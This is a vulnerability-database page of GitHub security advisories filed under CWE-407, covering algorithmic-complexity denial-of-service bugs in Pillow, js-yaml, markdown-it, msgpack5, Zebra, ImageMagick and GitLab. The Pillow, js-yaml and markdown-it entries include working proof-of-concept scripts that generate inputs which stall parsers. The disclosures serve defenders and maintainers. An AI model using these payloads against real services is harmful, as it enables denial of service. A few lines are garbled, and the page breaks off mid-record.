Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

584 vulnerabilities reference this CWE, most recent first.

GHSA-G338-VC6M-X872

Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31
VLAI
Details

Zebra before 6.1.0 contains an inefficient algorithmic complexity vulnerability in remaining_transaction_value that clones the entire block-level spent-UTXO map per transaction during contextual verification. Attackers can mine or seed the mempool with roughly 26,000 minimal single-input transactions in one block, stalling every validating node for over 52 seconds.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-104426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-02T12:17:12Z",
    "severity": "HIGH"
  },
  "details": "Zebra before 6.1.0 contains an inefficient algorithmic complexity vulnerability in remaining_transaction_value that clones the entire block-level spent-UTXO map per transaction during contextual verification. Attackers can mine or seed the mempool with roughly 26,000 minimal single-input transactions in one block, stalling every validating node for over 52 seconds.",
  "id": "GHSA-g338-vc6m-x872",
  "modified": "2026-10-02T12:31:14Z",
  "published": "2026-10-02T12:31:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-4g24-549m-hp75"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104426"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/zebra-before-6.1.0-quadratic-complexity-dos-via-block-transparent-value-check"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G4QV-2JXX-769H

Vulnerability from github – Published: 2026-10-22 16:02 – Updated: 2026-10-22 16:02
VLAI
Summary
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Details

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

### Details Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

python while data and data.startswith(b"Exif\x00\x00"): data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

### Steps to reproduce This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

```python import time from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND

start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ```

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

@pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ```

### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:02:39Z",
    "nvd_published_at": "2026-10-21T21:20:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow\u0027s EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n  ### Details\n  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n  ```python\n  while data and data.startswith(b\"Exif\\x00\\x00\"):\n      data = data[6:]\n  ```\n\n  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n  If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n  ### Steps to reproduce\n  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n  ```python\n  import time\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  marker = b\"Exif\\x00\\x00\"\n  exif_chunk = chunk(b\"eXIf\", marker * 300_000)  # 1.8MB, all markers\n  data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n  start = time.time()\n  with Image.open(BytesIO(data)) as im:\n      im.getexif()\n  print(\"took\", time.time() - start, \"seconds\")\n  ```\n\n  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (\u003e2.0s) from pytest-timeout`.\n\n  ```python\n  import pytest\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  @pytest.mark.timeout(2)\n  def test_exif_load_is_not_quadratic():\n      marker = b\"Exif\\x00\\x00\"\n      exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n      data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n      with Image.open(BytesIO(data)) as im:\n          im.getexif()\n  ```\n\n  ### Impact\n  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n  - Confidentiality: none.\n  - Integrity: none.\n  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow\u0027s own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.",
  "id": "GHSA-g4qv-2jxx-769h",
  "modified": "2026-10-22T16:02:39Z",
  "published": "2026-10-22T16:02:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96643"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/10073"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time"
}

GHSA-G5MF-WQQ5-VWG6

Vulnerability from github – Published: 2026-05-18 20:33 – Updated: 2026-06-11 14:04
VLAI
Summary
ImageMagick: Policy Bypass in MNG coder could
Details

Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T20:33:59Z",
    "nvd_published_at": "2026-06-10T22:16:58Z",
    "severity": "MODERATE"
  },
  "details": "Because of a missing check in the MNG coder it would be possible to read more images than the list limit policy would allow resulting in excessive resource use.",
  "id": "GHSA-g5mf-wqq5-vwg6",
  "modified": "2026-06-11T14:04:48Z",
  "published": "2026-05-18T20:33:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-g5mf-wqq5-vwg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45664"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: Policy Bypass in MNG coder could "
}

GHSA-G796-FGMG-93MV

Vulnerability from github – Published: 2026-07-20 21:19 – Updated: 2026-07-20 21:19
VLAI
Summary
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
Details

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:19:27Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThis is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default\n\nWhen merge keys (`\u003c\u003c`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { Buffer } from \u0027node:buffer\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = [\u0027a0: \u0026a0 { k0: 0 }\u0027]\n\n  for (let i = 1; i \u003c count; i++) {\n    lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join(\u0027\\n\u0027)}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\nconsole.log(\u0027...\u0027)\nconsole.log(source.split(\u0027\\n\u0027).slice(-4).join(\u0027\\n\u0027))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.",
  "id": "GHSA-g796-fgmg-93mv",
  "modified": "2026-07-20T21:19:27Z",
  "published": "2026-07-20T21:19:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59868"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml"
}

GHSA-G8V2-8WGJ-GWX8

Vulnerability from github – Published: 2024-12-12 12:31 – Updated: 2024-12-12 12:31
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions from 9.4 before 17.4.6, 17.5 before 17.5.4, and 17.6 before 17.6.2. An attacker could cause a denial of service with requests for diff files on a commit or merge request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T12:15:28Z",
    "severity": "HIGH"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions from 9.4 before 17.4.6, 17.5 before 17.5.4, and 17.6 before 17.6.2. An attacker could cause a denial of service with requests for diff files on a commit or merge request.",
  "id": "GHSA-g8v2-8wgj-gwx8",
  "modified": "2024-12-12T12:31:16Z",
  "published": "2024-12-12T12:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8233"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2650086"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/480867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GCX5-HXJ7-GPQQ

Vulnerability from github – Published: 2026-10-08 17:39 – Updated: 2026-10-08 17:39
VLAI
Summary
msgpack5: Quadratic parsing in the streaming decoder
Details

Impact

The streaming decoder reparses an incomplete container from the beginning whenever another chunk arrives. A remote peer can split one valid MessagePack value across many small chunks, causing quadratic CPU usage and blocking the event loop.

Patches

The decoder now preserves incremental container state so completed elements are not parsed again when more input arrives.

Workarounds

Buffer each complete MessagePack value before decoding it, or limit the number of chunks accepted for a single value.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "msgpack5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:39:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe streaming decoder reparses an incomplete container from the beginning whenever another chunk arrives. A remote peer can split one valid MessagePack value across many small chunks, causing quadratic CPU usage and blocking the event loop.\n\n### Patches\n\nThe decoder now preserves incremental container state so completed elements are not parsed again when more input arrives.\n\n### Workarounds\n\nBuffer each complete MessagePack value before decoding it, or limit the number of chunks accepted for a single value.",
  "id": "GHSA-gcx5-hxj7-gpqq",
  "modified": "2026-10-08T17:39:46Z",
  "published": "2026-10-08T17:39:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mcollina/msgpack5/security/advisories/GHSA-gcx5-hxj7-gpqq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mcollina/msgpack5/commit/e4827641d3105e295cbbd56e9c5389978547eab4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mcollina/msgpack5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mcollina/msgpack5/releases/tag/v6.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "msgpack5: Quadratic parsing in the streaming decoder"
}

GHSA-GFR2-RV44-R23C

Vulnerability from github – Published: 2026-10-20 20:28 – Updated: 2026-10-20 20:28
VLAI
Summary
markdown-it: Quadratic-time rendering of a single multi-line link reference definition with default options (regression since 14.0)
Details

Summary

A link reference definition whose label or title is never closed is O(n²) in markdown-it 15.0.2 with default options. Continuation lines are pulled lazily with str += lineContent in src/rules_block/reference.ts, and the subsequent charCodeAt and slice calls flatten the V8 cons-string, copying everything collected so far; this runs before the rule decides the definition is invalid. It is a regression introduced by PR #1004 in 14.0.0: 13.0.2 processed a 313 KB input in 125 ms, while every version since takes about 11 seconds on the same input. At the sizes below, 200 KB takes 3.6 seconds, 400 KB takes 18.1 seconds, and 800 KB takes 74.0 seconds, which is roughly 4–5× per doubling. No options are required to trigger it.

Details

src/rules_block/reference.ts appends continuation lines with str += lineContent at lines 74, 83, 100, 133, and 150, then keeps indexing the accumulated string via str.charCodeAt(pos) in the label and whitespace loops and str.slice(...) in parseLinkTitle. V8 represents += as a cons-string, and the next charCodeAt or slice flattens it, copying everything collected so far, so one definition spanning n lines costs O(n²). Isolation confirms the rule is responsible: block-only parsing with inline disabled is still quadratic, md.disable('reference') makes the same input linear, and the same text without the leading [ is linear. The fix is to track positions in state.src instead of building str, or to collect line slices in an array and parse across them. At minimum, stop scanning the label after 999 characters (CommonMark §6.3) before pulling more lines, and cap title continuation. Add a pathological test with a 100k-line unclosed title and label. Open PR #1215 edits the same file but its label check runs after the label loop, so it does not bound either variant and the fix can land together with that PR.

The observed output from PoC was: unclosed title n=100000 200009 B 3585.5 ms unclosed title n=200000 400009 B 18107.1 ms (5.05x) unclosed title n=400000 800009 B 73954.4 ms (4.08x)

Regression comparison at 313 KB: 13.0.2 → 125 ms, 14.1.0 → 11.4 s, 15.0.0 → 10.6 s, 15.0.2 → 10.7 s.

Proof of concept

How to execute the PoC: 1. mkdir -p markdown-it-poc && cd markdown-it-poc 2. npm init -y 3. npm i markdown-it@15.0.2 4. node poc_markdown_it.js

PoC below is:

// poc_markdown_it.js
// Requires: npm install markdown-it@15.0.2
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt();

function bench(label, src) {
  const t0 = process.hrtime.bigint();
  md.render(src);
  const t1 = process.hrtime.bigint();
  console.log(
    `${label.padEnd(30)} ${String(src.length).padStart(9)} B ${(Number(t1 - t0) / 1e6).toFixed(1).padStart(9)} ms`
  );
}

// Unclosed title: one reference definition spread over many lines
for (const n of [100000, 200000, 400000]) {
  bench(`unclosed title n=${n}`, '[a]: /u "' + 'x\n'.repeat(n));
}

// Unclosed label
for (const n of [5000, 10000, 20000]) {
  bench(`unclosed label n=${n}`, '[' + 'a\n'.repeat(n));
}

Impact

This is an algorithmic-complexity denial of service (CWE-407). Any server that renders user Markdown with markdown-it is affected with default options, including comments, issues, chat, wikis, docs previews, and LLM chat UIs. A ~400 KB request body blocks the Node.js event loop for about 18 seconds and an ~800 KB body for about 74 seconds. This is the same class and attacker model as GHSA-253c, but it is reachable without any opt-in option, since the affected path is a core block rule.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "markdown-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.1.0"
            },
            {
              "fixed": "14.3.3"
            }
          ],
